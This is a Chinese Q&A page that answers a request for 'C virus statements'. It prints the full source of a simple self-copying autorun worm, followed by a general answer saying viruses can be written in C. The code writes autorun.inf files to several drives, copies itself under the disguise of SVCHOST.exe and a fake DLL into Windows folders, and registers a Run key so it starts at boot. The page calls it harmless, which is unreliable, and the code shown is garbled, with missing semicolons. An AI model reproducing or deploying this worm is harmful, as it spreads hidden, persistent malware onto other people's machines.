c语言病毒语句

Python011

c语言病毒语句,第1张

病毒的功能: 1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件 2.在C、D、E盘中生成自动运行文件 3.注册c:\windows\system\svchost.exe,使其开机自动运行 4.在C:\windows\system下生成隐蔽DLL文件 5.病毒在执行后具有相联复制能力 本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。 以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过 请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究 /* SVCHOST.C */ /* SVCHOST.EXE */ #define SVCHOST_NUM 6 #include<stdio.h> #include<string.h> char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"} char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"} char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL", "c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe", "c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"} char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f" int copy(char *infile,char *outfile) { FILE *input,*output char temp if(strcmp(infile,outfile)!=0 &&((input=fopen(infile,"rb"))!=NULL) &&((output=fopen (outfile,"wb"))!=NULL)) { while(!feof(input)) { fread(&temp,1,1,input) fwrite(&temp,1,1,output) } fclose(input) fclose(output) return 0 } else return 1 } int main(void) { FILE *input,*output int i,k for(i=0i<3i++) { output=fopen(files_autorun[i],"w") fprintf(output,"%s",autorun) fclose(output) } for(i=0i<=SVCHOST_NUMi++) { if((input=fopen(files_svchost[i],"rb"))!=NULL) { fclose(input) for(k=0k<SVCHOST_NUMk++) { copy(files_svchost[i],files_svchost[k]) } i=SVCHOST_NUM+1 } } system(regadd)/* 注册SVCHOST.exe,让其在启动时运行 */ return 0 }

求采纳

C语言当然可以编写病毒,事实上很多程序都是用C/C++编写出来的。\x0d\x0a编程语言本身没有“贵贱”之分,只用用好了,都是相当强的;区别在于主要适用范围、编写的难易程序、执行效率的高低、学习的难易程度,等等。\x0d\x0aC语言只是一种计算机程序的编写格式规范,到至于可以编写出来什么样的程序,还要看你所用的C语言编译器,(比如TC,VC,LCC,GCC等,太多了)。\x0d\x0a如果有编写windows程序,就不能用TC,它只能编写DOS程序,而应该用VC,LCC,C++Builder等编译工具)\x0d\x0a编写出来的程序肯定要调用操作系统提供的功能,如编windows程序,就要调用Win32 API,Dos程序则调用的是DOS中断,编程实际上就是对这些操作系统所提供功能的调用。\x0d\x0a现在的病毒很多都是用常用的编程工具编写的,如VC++,delph,VC,Win32汇编等